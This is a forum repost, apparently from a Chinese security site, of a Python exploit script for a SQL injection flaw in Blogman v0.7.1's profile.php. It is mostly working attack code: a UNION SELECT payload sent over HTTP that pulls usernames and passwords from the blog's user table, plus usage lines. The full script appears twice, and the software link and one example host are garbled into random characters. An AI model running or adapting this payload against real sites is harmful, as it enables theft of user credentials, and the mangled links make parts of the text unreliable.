-
-
[转帖]Blogman v0.7.1 (profile.php) SQL Injection Exploit
-
发表于: 2010-8-29 14:20 2321
-
#!/usr/bin/python
#
# Exploit Title: Blogman v0.7.1 (profile.php) SQL Injection Exploit
# Date : 28 August 2010
# Author : Ptrace Security (Gianni Gnesa [gnix])
# Contact : research[at]ptrace-security[dot]com
# Software Link: 064K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4G2N6i4u0U0k6h3k6G2M7X3N6W2i4K6u0W2L8X3g2@1i4K6u0r3M7s2u0G2K9X3g2U0N6s2y4Q4x3V1k6T1L8r3!0Y4L8h3q4F1i4K6u0r3i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1t1`.
# Version : 0.7.1
# Tested on : EasyPHP 5.3.1.0 for Windows
#
#
# Description
# ===========
#
# + profile.php => SQL Injection!!
#
# 6: $query = "SELECT * FROM ".$GLOBALS['dbTablePrefix']."user WHERE
# UserID='".$_GET['id']."'";
# 7: $profileuser = mysql_fetch_array(mysql_query($query));
#
# + profile.php => The query showed above returns a 16-columns table. UserName,
# which is the 2nd column's name, is used few line after the query to display
# the information extracted.
#
# 12: echo $profileuser['UserName']."</p>\n";
#
import re
import sys
import http.client
import urllib.parse
def usage(prog):
print('Usage : ' + prog + ' <target> <path> <user_id>\n')
print('Example: ' + prog + ' localhost /blogman/ 2')
print(' ' + prog + ' faeK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3@1`. /complete/path/ 1')
return
def exploit(target, path, userid):
payload = 'profile.php?id=-1%27%20UNION%20SELECT%20NULL,%20CONCAT(%27%3C1'
payload += '%3E%27,UserName,%27:%27,UserPassword,%27%3C2%3E%27),%20NULL,%20'
payload += 'NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,'
payload += '%20NULL,%20NULL,%20NULL,%20NULL,%20NULL%20FROM%20blogman_user'
payload += '%20WHERE%20UserID=%27' + str(userid) + '%27%20--%20%27'
print('[+] Sending HTTP Request')
con = http.client.HTTPConnection(target)
con.request('GET', path + payload)
res = con.getresponse()
if res.status != 200:
print('[!] HTTP GET request failed.')
exit(1)
print('[+] Parsing HTTP Response')
data = res.read().decode()
pattern = re.compile(r"<1>(.+?)<2>", re.M)
m = pattern.search(data)
if m:
print('[+] Information Extracted:\n')
print(m.group()[3:-3])
else:
print('[!] No information found')
return
print('\n+-----------------------------------------------------------------------+')
print('| Blogman v0.7.1 (profile.php) SQL Injection Exploit by Ptrace Security |')
print('+-----------------------------------------------------------------------+\n')
if len(sys.argv) != 4:
usage(sys.argv[0])
else:
exploit(sys.argv[1], sys.argv[2], sys.argv[3])
exit(0)
#
# Exploit Title: Blogman v0.7.1 (profile.php) SQL Injection Exploit
# Date : 28 August 2010
# Author : Ptrace Security (Gianni Gnesa [gnix])
# Contact : research[at]ptrace-security[dot]com
# Software Link: 064K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4G2N6i4u0U0k6h3k6G2M7X3N6W2i4K6u0W2L8X3g2@1i4K6u0r3M7s2u0G2K9X3g2U0N6s2y4Q4x3V1k6T1L8r3!0Y4L8h3q4F1i4K6u0r3i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1t1`.
# Version : 0.7.1
# Tested on : EasyPHP 5.3.1.0 for Windows
#
#
# Description
# ===========
#
# + profile.php => SQL Injection!!
#
# 6: $query = "SELECT * FROM ".$GLOBALS['dbTablePrefix']."user WHERE
# UserID='".$_GET['id']."'";
# 7: $profileuser = mysql_fetch_array(mysql_query($query));
#
# + profile.php => The query showed above returns a 16-columns table. UserName,
# which is the 2nd column's name, is used few line after the query to display
# the information extracted.
#
# 12: echo $profileuser['UserName']."</p>\n";
#
import re
import sys
import http.client
import urllib.parse
def usage(prog):
print('Usage : ' + prog + ' <target> <path> <user_id>\n')
print('Example: ' + prog + ' localhost /blogman/ 2')
print(' ' + prog + ' faeK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3@1`. /complete/path/ 1')
return
def exploit(target, path, userid):
payload = 'profile.php?id=-1%27%20UNION%20SELECT%20NULL,%20CONCAT(%27%3C1'
payload += '%3E%27,UserName,%27:%27,UserPassword,%27%3C2%3E%27),%20NULL,%20'
payload += 'NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,'
payload += '%20NULL,%20NULL,%20NULL,%20NULL,%20NULL%20FROM%20blogman_user'
payload += '%20WHERE%20UserID=%27' + str(userid) + '%27%20--%20%27'
print('[+] Sending HTTP Request')
con = http.client.HTTPConnection(target)
con.request('GET', path + payload)
res = con.getresponse()
if res.status != 200:
print('[!] HTTP GET request failed.')
exit(1)
print('[+] Parsing HTTP Response')
data = res.read().decode()
pattern = re.compile(r"<1>(.+?)<2>", re.M)
m = pattern.search(data)
if m:
print('[+] Information Extracted:\n')
print(m.group()[3:-3])
else:
print('[!] No information found')
return
print('\n+-----------------------------------------------------------------------+')
print('| Blogman v0.7.1 (profile.php) SQL Injection Exploit by Ptrace Security |')
print('+-----------------------------------------------------------------------+\n')
if len(sys.argv) != 4:
usage(sys.argv[0])
else:
exploit(sys.argv[1], sys.argv[2], sys.argv[3])
exit(0)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
赞赏
雪币:
留言: